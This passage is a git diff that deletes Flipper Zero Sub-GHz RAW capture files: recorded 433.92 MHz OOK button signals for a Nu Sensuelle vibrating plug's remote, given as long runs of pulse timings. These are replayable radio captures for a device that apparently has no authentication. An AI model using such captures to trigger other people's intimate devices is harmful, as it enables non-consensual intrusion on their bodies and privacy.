1017 -66 5111 -98 4237 -66 261 -98 4073 -66 13511 -130 3997 -98 363 -98 5429 -66 5237 -130 729 -RAW_Data: -66 4655 -66 13415 -134 7095 -66 495 -66 9695 -64 163 -98 915 -100 3403 -68 7819 -68 6601 -100 987 -68 7411 -66 497 -66 395 -98 10193 -66 4287 -66 1615 -66 4849 -68 11383 -66 4913 -66 2469 -130 2599 -66 4597 -66 1593 -66 1067 -66 4031 -100 2055 -66 931 -100 535 -100 1287 -100 2581 -100 831 -66 2929 -68 729 -132 331 -168 11611 -166 8515 -132 9161 -132 1743 -132 1515 -132 2359 -66 5017 -98 7093 -66 3481 -66 2913 -132 267 -100 1029 -100 3177 -68 1581 -98 527 -68 1027 -196 4649 -132 2797 -66 295 -66 161 -164 7473 -66 331 -66 1853 -66 2229 -98 4617 -98 6373 -98 12267 -98 6007 -66 1185 -66 10553 -134 3161 -66 5253 -66 1249 -66 1115 -64 1219 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_1.sub deleted file mode 100644 index a9183c253..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 1324 3065 -66 6057 -100 1193 -66 9391 -66 4145 -68 6961 -98 891 -100 1561 -100 2851 -66 8323 -68 12083 -166 1191 -66 4187 -66 6343 -100 2921 -64 2409 -66 2553 -66 931 -66 2213 -66 2033 -68 16851 -66 657 -100 2255 -68 6079 -100 897 -66 163 -66 3859 -836 407 -840 423 -854 415 -872 381 -880 401 -862 417 -844 399 -848 1701 -448 413 -408 445 -414 407 -434 415 -418 417 -868 411 -422 425 -854 379 -446 421 -410 449 -414 407 -436 415 -872 409 -408 415 -452 391 -450 409 -850 413 -852 425 -440 381 -850 437 -430 417 -848 419 -426 399 -862 417 -416 413 -848 415 -842 425 -850 415 -886 387 -838 447 -846 411 -846 421 -854 411 -856 397 -868 1705 -420 413 -412 437 -428 415 -416 417 -450 405 -872 385 -450 405 -838 415 -888 387 -444 415 -418 433 -416 445 -846 385 -452 409 -426 411 -416 449 -818 443 -846 423 -416 413 -852 417 -452 405 -854 411 -420 431 -856 381 -452 427 -818 423 -874 409 -832 449 -842 433 -814 413 -868 413 -852 415 -846 415 -874 399 -852 1703 -418 385 -444 423 -424 443 -414 415 -420 409 -876 411 -416 425 -840 417 -848 441 -420 415 -416 409 -420 411 -874 413 -418 411 -446 413 -442 395 -850 415 -868 413 -418 429 -850 387 -448 413 -852 395 -472 381 -846 435 -434 417 -846 419 -858 413 -846 423 -854 411 -836 411 -868 411 -848 437 -858 417 -846 401 -852 1671 -450 383 -450 429 -414 411 -424 409 -442 409 -852 447 -382 451 -854 411 -816 449 -416 409 -422 443 -412 407 -854 449 -414 413 -422 411 -446 415 -854 427 -840 417 -418 407 -852 451 -414 409 -868 417 -416 417 -862 415 -416 417 -848 441 -844 423 -852 417 -846 409 -852 415 -844 425 -848 415 -868 411 -834 409 -874 1691 -422 409 -446 413 -410 437 -416 415 -420 439 -838 419 -418 409 -868 419 -848 439 -418 415 -418 439 -428 387 -878 409 -418 423 -442 383 -450 391 -886 385 -878 411 -422 425 -838 419 -420 441 -838 417 -454 399 -862 419 -416 411 -852 417 -846 425 -868 419 -856 379 -888 399 -864 419 -846 431 -848 385 -852 425 -870 1663 -452 399 -432 417 -416 419 -442 397 -422 447 -844 433 -420 417 -844 435 -846 387 -450 407 -426 411 -416 445 -844 413 -414 445 -420 425 -442 381 -848 437 -860 417 -416 407 -866 419 -416 419 -858 411 -416 451 -850 411 -420 415 -126664 65 -952 99 -166 465 -100 363 -200 793 -64 2779 -66 19897 -100 3587 -66 1961 -64 3655 -132 6939 -66 5731 -66 2587 -100 3267 -100 6375 -100 6421 -66 229 -234 5083 -66 631 -100 1719 -132 3275 -RAW_Data: -66 7453 -68 559 -100 1563 -100 529 -134 99 -100 5993 -66 8355 -66 821 -66 367 -100 533 -66 497 -66 5567 -66 21321 -98 5499 -64 7157 -98 18011 -66 10633 -66 923 -98 1017 -64 1645 -98 1849 -66 2317 -166 1495 -100 6917 -66 197 -98 2037 -100 987 -100 1021 -100 231 -66 2625 -66 1625 -98 1281 -66 991 -66 3339 -98 1283 -66 2513 -100 4439 -98 591 -66 2129 -132 199 -130 1355 -132 229 -100 4117 -66 1399 -66 5951 -98 1685 -68 4767 -100 1819 -100 5917 -66 9727 -66 26607 -68 2023 -134 4087 -66 1723 -100 7017 -100 1055 -98 2277 -100 3115 -68 1989 -98 953 -64 2149 -202 1361 -66 3347 -66 7299 -68 9835 -66 133 -132 16759 -196 3291 -98 7121 -100 687 -64 1293 -98 4283 -66 1233 -100 6811 -68 5145 -66 1543 -98 5313 -98 4475 -166 8235 -66 12863 -100 1941 -98 197 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_2.sub deleted file mode 100644 index 8a3f3dd01..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -100 5579 -66 925 -68 3599 2833 2137 -66 1987 -100 3859 -98 5687 -130 7239 -132 4651 -198 1839 -66 1063 -66 1521 -166 599 -68 597 -66 2749 -66 867 -98 1757 -68 7221 -66 1807 -100 4539 -98 723 -66 5317 -66 1611 -66 1997 -100 2225 -98 3905 -100 1767 -100 1091 -66 2735 -68 27543 -66 1345 -66 1419 -66 399 -66 533 -166 9143 -66 1891 -66 3151 -100 5773 -66 1063 -134 1943 -66 1249 -98 593 -66 1463 -66 8723 -66 963 -68 3349 -134 433 -66 12881 -100 297 -66 99 -68 297 -100 9299 -66 11187 -822 419 -850 443 -846 417 -854 385 -876 411 -850 413 -846 423 -854 1669 -452 415 -420 431 -416 411 -426 443 -414 411 -848 447 -382 443 -848 415 -844 427 -428 409 -416 445 -414 411 -842 447 -414 409 -446 413 -420 427 -854 411 -868 377 -452 427 -824 441 -410 435 -844 425 -430 409 -842 423 -426 411 -844 429 -848 417 -852 427 -840 419 -848 437 -848 387 -852 423 -874 411 -848 415 -844 1683 -446 421 -414 447 -388 445 -416 419 -432 409 -876 413 -414 425 -838 419 -848 441 -418 415 -418 439 -856 419 -414 411 -418 411 -446 415 -856 397 -438 415 -848 437 -432 417 -846 409 -418 411 -876 411 -418 409 -878 409 -438 417 -842 409 -866 419 -848 439 -846 421 -852 387 -876 419 -824 441 -846 425 -850 413 -836 1693 -450 383 -452 391 -452 409 -426 411 -446 413 -850 415 -416 439 -830 451 -846 439 -388 445 -416 419 -862 413 -420 415 -418 437 -428 415 -846 417 -430 399 -868 419 -418 415 -864 411 -418 415 -850 439 -418 415 -848 403 -424 445 -844 399 -850 417 -866 417 -846 407 -856 417 -878 395 -852 415 -840 423 -874 411 -850 1701 -394 435 -416 449 -422 397 -436 415 -450 387 -862 411 -450 423 -856 379 -870 413 -444 383 -474 407 -846 421 -428 407 -416 445 -418 411 -876 417 -422 411 -840 419 -420 435 -858 417 -416 411 -852 413 -450 379 -876 409 -448 413 -844 413 -876 397 -850 413 -852 393 -902 379 -878 411 -844 427 -856 411 -836 425 -840 1701 -416 445 -418 399 -438 417 -448 387 -450 405 -850 415 -452 403 -852 415 -868 411 -410 421 -412 447 -844 403 -424 445 -414 417 -426 409 -840 419 -420 439 -860 417 -416 409 -850 449 -416 409 -864 419 -416 409 -870 417 -416 409 -882 419 -842 431 -846 385 -852 425 -838 419 -850 439 -846 425 -852 411 -856 397 -868 1707 -388 443 -416 437 -392 441 -418 417 -440 411 -844 425 -426 441 -842 397 -852 413 -438 435 -418 417 -846 439 -388 445 -416 441 -394 423 -844 453 -390 441 -838 421 -420 413 -850 451 -RAW_Data: -382 453 -852 413 -418 417 -844 437 -386 447 -125274 67 -1560 67 -268 329 -428 297 -132 199 -430 1493 -132 4925 -134 4353 -100 7543 -100 3817 -132 2139 -130 8029 -66 1459 -68 7405 -100 995 -66 2127 -66 2271 -98 5915 -66 3617 -66 619 -66 1385 -66 1127 -66 365 -66 3641 -66 363 -132 765 -100 7519 -66 14921 -68 1989 -130 99 -98 1447 -66 11047 -66 3537 -66 5161 -66 631 -66 3359 -66 3903 -66 5493 -100 329 -98 2779 -66 7367 -100 491 -66 1491 -66 7407 -66 2481 -100 1251 -98 2077 -100 2287 -132 327 -132 2861 -66 2415 -132 2997 -98 11487 -66 3241 -100 2705 -100 1583 -132 265 -130 425 -66 655 -66 625 -66 10985 -100 195 -66 755 -98 3331 -66 5969 -66 10977 -68 3681 -66 393 -98 131 -66 493 -98 817 -98 9643 -100 4835 -66 2509 -66 4607 -66 10559 -66 3147 -98 3821 -66 2131 -98 3191 -98 4583 -98 457 -66 9173 -66 8493 -134 165 -130 4697 -68 401 -98 3621 -100 5641 -66 661 -68 1497 -66 1199 -66 14397 -102 367 -166 4447 -66 3077 -98 4205 -98 6199 -66 14997 -100 6477 -66 1263 -68 2887 -66 5055 -98 3343 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_3.sub deleted file mode 100644 index 957e47cb8..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 6007 -100 589 -68 301 -531 4549 -64 5613 -66 4651 -68 2825 -100 2309 -66 2249 -64 2633 -66 227 -66 7787 -64 589 -98 1937 -66 5975 -66 161 -66 3685 -132 1419 -68 2075 -68 7685 -98 667 -98 7739 -100 6693 -66 14873 -66 4349 -68 6497 -98 6803 -66 921 -66 5097 -66 1173 -846 451 -816 443 -842 425 -852 419 -846 415 -858 411 -842 429 -852 1669 -438 417 -416 419 -450 403 -424 441 -414 413 -852 413 -420 415 -850 439 -844 425 -426 407 -416 445 -848 411 -418 415 -452 409 -442 383 -882 395 -436 415 -846 437 -430 419 -842 409 -432 417 -846 409 -424 441 -846 411 -418 441 -846 407 -850 449 -846 401 -854 417 -854 425 -870 407 -828 447 -842 401 -882 385 -852 1703 -438 385 -446 417 -450 403 -428 409 -418 415 -884 411 -420 415 -846 439 -846 425 -414 447 -390 443 -846 401 -850 417 -450 403 -424 441 -844 399 -852 415 -850 425 -440 415 -834 411 -446 415 -856 427 -408 417 -884 379 -438 423 -876 379 -878 409 -846 425 -852 417 -842 409 -866 417 -848 437 -846 387 -886 389 -876 1683 -418 411 -450 397 -434 417 -448 387 -452 407 -854 413 -440 427 -844 387 -868 415 -442 409 -420 415 -852 439 -844 421 -416 413 -424 443 -844 395 -870 387 -888 387 -444 413 -854 397 -430 417 -848 415 -436 425 -838 417 -420 451 -836 411 -872 401 -848 415 -864 415 -840 443 -836 415 -842 437 -844 423 -818 443 -854 1679 -424 427 -440 381 -450 391 -452 407 -426 411 -844 427 -424 441 -842 401 -850 415 -442 411 -418 443 -846 411 -842 429 -426 411 -416 445 -844 415 -844 427 -848 415 -452 407 -854 415 -442 395 -848 445 -410 445 -844 399 -426 411 -874 403 -852 413 -854 423 -838 419 -848 441 -814 451 -820 421 -842 447 -844 415 -844 1705 -408 435 -416 417 -418 439 -412 415 -446 413 -836 415 -440 445 -840 401 -848 447 -418 407 -426 441 -840 401 -852 415 -452 407 -428 411 -842 429 -852 413 -856 429 -408 415 -852 437 -396 421 -872 409 -418 409 -874 407 -438 417 -848 411 -846 447 -810 427 -834 445 -836 413 -834 451 -848 421 -858 415 -846 419 -852 1699 -420 415 -420 431 -410 445 -414 407 -434 417 -842 439 -410 417 -850 439 -824 451 -414 419 -424 409 -840 419 -850 439 -388 447 -414 417 -860 411 -844 429 -820 441 -408 437 -844 425 -428 443 -808 431 -426 411 -842 427 -426 441 -125680 163 -64 163 -66 261 -330 359 -298 533 -198 329 -268 265 -134 929 -100 1031 -66 2355 -100 1795 -66 10897 -102 5043 -66 1755 -66 263 -132 2345 -162 657 -98 329 -RAW_Data: -66 789 -100 623 -100 3803 -68 4217 -100 2585 -66 1229 -100 199 -134 17435 -66 14169 -66 12213 -66 8961 -102 22577 -98 7135 -66 2003 -66 985 -66 2217 -100 99 -98 8371 -132 4811 -66 10959 -66 133 -66 1697 -66 5261 -66 5193 -66 7731 -100 5863 -98 2061 -100 9689 -100 2287 -98 295 -98 1149 -66 63 -66 14251 -66 2525 -98 3373 -66 2291 -100 463 -132 65 -66 2637 -100 2097 -166 1653 -66 1235 -232 8499 -100 1431 -166 265 -168 233 -68 3689 -66 11493 -66 623 -100 33757 -66 2205 -66 3483 -96 5183 -68 2383 -232 3055 -100 265 -98 3387 -100 10517 -100 727 -132 5783 -100 2143 -66 3391 -66 459 -66 2327 -66 2191 -66 1253 -100 7591 -134 1197 -100 8515 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_4.sub deleted file mode 100644 index fde943260..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_11_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 4797 -100 1363 528 16847 -66 11457 -66 3705 -100 10923 -68 27295 -100 38337 -68 2637 -66 1301 -100 7113 -66 17583 -68 12779 -66 26723 -98 6873 -98 47505 -66 5145 -814 439 -844 389 -870 413 -854 393 -866 417 -848 403 -852 415 -852 1709 -432 387 -446 415 -442 395 -424 443 -410 409 -854 447 -384 445 -850 413 -876 399 -426 411 -416 451 -818 443 -842 425 -426 441 -382 451 -854 411 -846 423 -852 413 -418 431 -850 419 -416 417 -866 409 -418 417 -854 425 -408 415 -850 437 -860 419 -810 429 -850 415 -872 417 -844 409 -868 419 -844 433 -846 383 -852 1705 -434 417 -416 417 -452 403 -426 441 -380 445 -850 415 -418 415 -880 413 -846 419 -428 407 -874 399 -426 411 -416 443 -418 441 -844 409 -434 417 -416 417 -868 411 -410 421 -870 385 -450 411 -852 415 -440 431 -846 417 -398 435 -844 429 -852 411 -854 395 -864 419 -850 439 -848 421 -818 423 -878 411 -842 417 -846 1679 -454 389 -452 409 -426 411 -414 447 -480 347 -838 449 -414 283 -996 429 -836 319 -526 423 -844 433 -420 417 -386 447 -418 441 -816 421 -420 435 -428 415 -876 397 -434 415 -850 439 -394 423 -844 415 -444 411 -874 407 -434 415 -848 419 -854 413 -844 417 -854 411 -852 407 -844 455 -818 445 -844 419 -824 413 -852 1687 -416 435 -432 415 -418 415 -442 431 -418 417 -848 441 -388 447 -842 437 -814 415 -438 433 -846 419 -428 409 -416 451 -384 439 -840 421 -416 409 -420 411 -874 413 -418 439 -844 407 -440 385 -844 449 -416 407 -874 407 -436 417 -848 409 -846 449 -808 427 -852 411 -864 409 -848 411 -852 451 -840 401 -848 413 -854 1705 -400 423 -444 413 -440 411 -416 417 -418 441 -840 421 -418 441 -824 453 -842 403 -424 445 -810 465 -386 445 -414 411 -426 425 -844 447 -418 429 -408 415 -850 419 -432 409 -872 409 -436 415 -848 439 -396 451 -846 413 -422 425 -838 421 -846 437 -844 421 -820 423 -844 447 -842 413 -842 427 -834 445 -834 413 -856 1705 -398 423 -446 411 -406 437 -416 451 -384 439 -842 421 -416 439 -828 449 -810 429 -428 443 -846 437 -386 449 -416 441 -394 421 -844 455 -384 453 -406 423 -840 421 -418 441 -824 455 -382 445 -842 415 -416 447 -844 413 -416 449 -114632 133 -1450 195 -298 821 -198 1049 -132 12969 -66 7559 -66 4017 -68 20471 -66 16551 -130 789 -66 15649 -66 2573 -100 5149 -66 1877 -66 2207 -66 5095 -66 1775 -66 47595 -132 29187 -66 995 -66 6429 -100 19703 -100 22323 -66 6757 -100 3323 -100 7545 -66 43107 -100 17775 -68 5781 -66 2295 -66 8811 -RAW_Data: -66 6259 -166 1125 -132 1777 -102 3639 -66 13019 -66 37709 -100 10845 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_1.sub deleted file mode 100644 index 57f3f4c1d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5617 -66 2647 -66 559 -307 2231 -98 3835 -66 7091 -132 5419 -100 2061 -66 2101 -98 1771 -100 2965 -64 331 -66 733 -66 9533 -100 329 -66 7279 -166 2159 -66 6841 -68 1129 -98 2363 -66 1151 -134 2011 -66 25003 -98 2531 -66 459 -98 5539 -66 1225 -66 491 -164 329 -66 2549 -66 10551 -66 2503 -66 229 -96 3355 -100 1067 -66 1481 -100 461 -68 4373 -168 829 -66 689 -132 397 -68 5139 -98 99 -166 969 -66 5211 -98 3059 -66 527 -100 5151 -66 6657 -98 7937 -66 2493 -100 431 -66 2541 -66 2133 -68 5037 -66 2795 -100 1823 -894 259 -990 97 -1168 325 -936 137 -1144 337 -916 131 -1138 1507 -586 387 -464 401 -450 313 -522 381 -472 385 -1074 209 -452 389 -876 383 -882 409 -418 415 -486 357 -434 417 -846 439 -430 387 -448 415 -410 423 -880 383 -888 415 -416 419 -852 425 -410 293 -60 61 -878 379 -446 417 -852 427 -408 415 -918 357 -864 417 -880 383 -850 415 -838 423 -870 407 -828 449 -846 435 -848 383 -854 1675 -430 421 -444 415 -418 431 -398 439 -416 417 -848 439 -844 385 -452 411 -426 409 -418 445 -414 441 -418 415 -834 411 -446 415 -440 411 -416 417 -848 437 -844 423 -432 407 -874 397 -424 445 -842 397 -424 443 -846 435 -388 445 -846 403 -848 449 -820 421 -872 417 -856 411 -844 427 -854 409 -834 411 -874 407 -866 1713 -418 415 -418 441 -394 421 -448 413 -412 421 -850 413 -868 411 -410 457 -420 415 -416 409 -438 415 -450 389 -852 425 -412 445 -420 425 -416 445 -816 415 -866 411 -446 417 -852 417 -416 415 -864 409 -418 453 -852 387 -444 413 -856 415 -842 413 -848 425 -850 415 -856 397 -868 419 -848 439 -816 449 -852 387 -876 1697 -414 417 -430 409 -446 413 -418 427 -398 437 -842 425 -838 413 -436 431 -416 415 -422 441 -442 381 -450 391 -868 413 -452 397 -412 445 -414 409 -872 417 -846 407 -422 445 -848 433 -388 443 -846 403 -424 445 -844 407 -422 445 -844 435 -846 385 -854 423 -844 453 -852 411 -848 419 -852 387 -876 411 -850 413 -846 1709 -418 425 -400 433 -416 451 -386 441 -414 415 -870 409 -840 419 -420 437 -398 451 -420 419 -416 417 -442 429 -814 451 -418 409 -424 441 -382 451 -820 445 -848 419 -398 435 -842 427 -414 419 -880 387 -452 409 -852 413 -420 431 -836 415 -868 413 -868 417 -844 407 -866 417 -846 405 -848 447 -834 415 -854 421 -842 1705 -418 417 -418 417 -434 411 -444 413 -418 437 -850 415 -838 423 -446 413 -420 427 -396 437 -416 437 -402 421 -878 411 -426 423 -412 445 -408 435 -844 -RAW_Data: 423 -818 441 -420 427 -822 411 -452 427 -852 415 -418 417 -834 443 -418 417 -122094 65 -530 459 -66 331 -298 97 -100 463 -198 265 -66 2859 -100 5403 -66 2425 -134 6851 -66 467 -68 531 -66 3779 -98 2743 -134 331 -134 5361 -134 10721 -100 331 -66 1095 -66 7413 -100 133 -68 825 -100 10801 -132 829 -232 4407 -134 1897 -66 691 -132 901 -66 65 -100 1361 -132 10659 -66 5299 -66 8529 -68 1129 -198 11417 -66 7657 -66 3021 -98 2523 -96 2897 -132 1447 -100 3535 -100 1293 -100 12401 -66 4771 -198 7265 -68 1263 -134 6143 -198 5333 -66 923 -100 2551 -66 955 -66 3565 -66 4709 -100 9881 -68 601 -66 9049 -66 429 -66 2023 -66 7029 -134 5903 -66 4319 -64 2071 -100 195 -66 5135 -68 9899 -66 6693 -66 97 -132 1179 -66 4375 -66 463 -100 5561 -66 3657 -66 11869 -66 2413 -64 15999 -66 8785 -100 9759 -66 4443 -66 5111 -130 7895 -66 3063 -66 5051 -98 821 -66 2955 -132 8807 -132 359 -66 2173 -100 11215 -66 5119 -100 401 -66 4701 -68 1927 -66 993 -98 265 -98 395 -198 1147 -66 13127 -66 3551 -130 10995 -66 1887 -98 3307 -66 3821 -66 9957 -100 1293 -100 895 -100 3029 -66 1511 -100 195 -66 3027 -66 5373 -66 1797 -132 5115 -64 593 -66 229 -196 2845 -132 1499 -66 923 -100 1147 -66 1083 -132 525 -68 3973 -66 1749 -66 7895 -100 5191 -68 2253 -164 1617 -130 527 -132 3215 -134 1657 -100 6047 -68 2553 -66 2347 -100 1939 -98 4109 -98 1247 -264 5367 -100 3237 -68 2361 -132 983 -66 6771 -68 5303 -66 1997 -100 3679 -66 5983 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_2.sub deleted file mode 100644 index 42f542c66..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_2.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -66 365 4301 15227 -100 27593 -100 5303 -98 9775 -68 3187 -66 28153 -66 3267 -130 1321 -98 629 -19152 163 -266 397 -198 97 -534 163 -66 133 -98 97 -266 661 -100 523 -232 21411 -100 691 -98 20787 -808 429 -852 411 -856 397 -864 421 -848 441 -846 421 -820 451 -814 1715 -386 449 -416 441 -394 421 -448 413 -420 437 -822 443 -858 397 -432 415 -418 417 -452 407 -426 411 -414 447 -812 445 -416 447 -416 397 -434 415 -874 399 -866 419 -416 409 -850 449 -382 445 -848 413 -416 445 -846 415 -416 417 -848 439 -844 425 -850 413 -852 409 -880 417 -820 441 -848 387 -888 385 -878 417 -858 1667 -418 437 -426 441 -382 445 -420 427 -408 415 -872 407 -842 453 -386 441 -442 381 -446 419 -410 449 -844 437 -388 447 -414 409 -436 415 -842 441 -410 415 -852 405 -454 409 -842 433 -430 417 -842 441 -410 415 -840 441 -408 445 -856 399 -862 419 -846 439 -848 421 -818 423 -876 411 -846 413 -842 427 -868 421 -820 1703 -436 387 -446 413 -442 409 -418 417 -418 441 -840 419 -848 439 -388 447 -416 441 -396 421 -448 413 -856 397 -432 415 -416 415 -442 411 -842 427 -410 447 -844 439 -416 417 -846 441 -418 417 -844 435 -388 445 -844 403 -424 445 -846 403 -848 447 -834 413 -856 427 -836 421 -844 437 -846 129 -858 425 -854 163 -860 1437 -426 381 -452 423 -410 415 -432 415 -418 441 -838 419 -848 439 -416 417 -418 441 -410 415 -446 415 -854 411 -414 423 -440 417 -416 441 -840 419 -418 407 -850 451 -384 437 -868 421 -414 419 -854 415 -416 451 -816 441 -418 417 -848 439 -814 449 -824 411 -864 409 -888 415 -844 449 -842 399 -850 411 -864 409 -840 1693 -426 425 -442 379 -452 427 -418 445 -388 411 -876 401 -850 415 -454 403 -394 473 -382 451 -390 435 -864 419 -416 409 -420 411 -448 415 -832 441 -416 415 -836 417 -452 409 -852 411 -442 431 -812 449 -418 443 -816 415 -440 429 -812 449 -854 387 -842 453 -856 413 -812 451 -856 409 -866 409 -848 409 -850 415 -842 1709 -422 427 -398 437 -414 451 -386 439 -412 415 -872 409 -838 449 -382 441 -414 445 -406 443 -416 419 -846 439 -388 447 -416 453 -400 427 -840 421 -416 409 -852 455 -412 413 -848 447 -382 447 -850 413 -416 419 -846 445 -388 445 -120132 67 -366 131 -134 297 -296 229 -696 263 -66 24991 -98 11469 -198 16121 -66 29063 -98 19567 -132 5591 -100 48891 -66 8537 -66 397 -68 9773 -68 10561 -66 24537 -100 1121 -68 19931 -98 18935 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_3.sub deleted file mode 100644 index f4ec095a1..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_3.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 13321 -100 1957 1089 23577 -100 3923 -66 13161 -98 3161 -66 9255 -100 21419 -100 20447 -98 29863 -64 4083 -98 65 -68 16181 -66 9621 -876 397 -850 415 -852 425 -838 451 -850 409 -846 419 -856 379 -886 1681 -428 425 -408 417 -450 389 -450 403 -426 441 -844 399 -854 415 -450 407 -426 409 -448 417 -428 395 -866 417 -420 415 -470 389 -442 383 -874 425 -410 415 -850 403 -460 387 -874 411 -424 425 -872 413 -420 395 -868 417 -418 407 -852 415 -880 399 -852 415 -852 425 -872 381 -876 411 -846 425 -850 417 -846 417 -854 1663 -450 403 -426 409 -448 411 -422 411 -446 415 -870 381 -882 401 -430 389 -446 417 -416 433 -426 409 -876 395 -848 415 -442 411 -418 413 -884 407 -844 425 -854 415 -444 407 -846 423 -426 405 -876 397 -426 409 -842 425 -414 443 -846 437 -848 387 -884 389 -872 409 -862 415 -848 403 -852 417 -854 425 -840 419 -848 1691 -440 429 -418 415 -416 407 -456 413 -414 417 -868 381 -882 415 -410 425 -444 413 -412 425 -426 409 -878 397 -850 415 -450 403 -426 409 -846 425 -852 415 -886 389 -442 383 -884 401 -432 417 -846 407 -456 387 -872 409 -436 387 -876 409 -852 415 -844 427 -850 413 -854 425 -840 417 -848 437 -844 423 -854 411 -836 1697 -446 383 -450 427 -426 407 -418 443 -418 411 -872 407 -826 449 -416 419 -428 399 -436 417 -448 389 -852 423 -876 411 -414 411 -444 385 -866 411 -882 399 -860 417 -420 405 -852 415 -418 415 -850 437 -418 415 -850 441 -418 415 -846 439 -814 451 -850 417 -846 407 -852 447 -846 399 -854 415 -852 427 -842 417 -850 1689 -452 401 -424 443 -412 419 -426 411 -446 411 -854 415 -836 415 -416 447 -418 415 -410 425 -412 413 -852 451 -834 413 -440 421 -426 397 -864 417 -842 437 -836 423 -398 469 -810 461 -390 443 -842 405 -422 447 -810 465 -386 445 -844 437 -846 421 -818 423 -876 419 -818 443 -844 425 -850 413 -856 427 -840 421 -844 1693 -406 423 -426 443 -410 413 -424 425 -412 443 -858 397 -860 415 -412 441 -408 441 -416 421 -428 411 -844 427 -852 411 -422 431 -398 439 -844 421 -854 411 -856 429 -406 409 -874 429 -406 417 -874 399 -430 415 -848 409 -436 419 -130318 133 -332 197 -168 199 -694 131 -334 465 -166 99 -68 65651 -66 8049 -66 567 -134 1193 -66 5349 -66 7595 -68 17643 -66 3955 -66 17143 -66 1695 -66 15713 -100 4231 -66 9633 -66 963 -66 1843 -130 161 -98 24323 -100 4835 -66 14669 -68 2255 -66 165 -100 11389 -100 5129 -66 2753 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_4.sub deleted file mode 100644 index c28f357cd..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_12_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 10390 32229 -98 13127 -66 11053 -66 433 -98 8469 -102 2025 -66 15117 -100 3627 -66 2869 -98 197 -66 6445 -64 4981 -66 12401 -66 5067 -100 2879 -98 10919 -826 415 -870 223 -60 121 -860 411 -838 419 -850 439 -846 389 -854 421 -878 1681 -418 415 -456 399 -430 417 -416 417 -452 403 -856 411 -856 399 -430 417 -414 419 -450 405 -424 443 -844 399 -850 415 -452 403 -424 407 -874 399 -852 413 -862 411 -414 447 -824 411 -446 421 -854 411 -410 423 -882 383 -450 407 -854 413 -864 409 -848 407 -852 447 -844 397 -852 413 -852 423 -872 409 -860 417 -846 1689 -418 431 -430 407 -418 415 -452 409 -442 383 -846 437 -860 417 -416 409 -434 417 -448 385 -854 423 -442 383 -450 429 -430 407 -844 423 -428 407 -416 445 -848 411 -416 445 -846 413 -418 415 -848 437 -388 445 -846 401 -424 447 -842 399 -880 383 -884 387 -876 413 -814 441 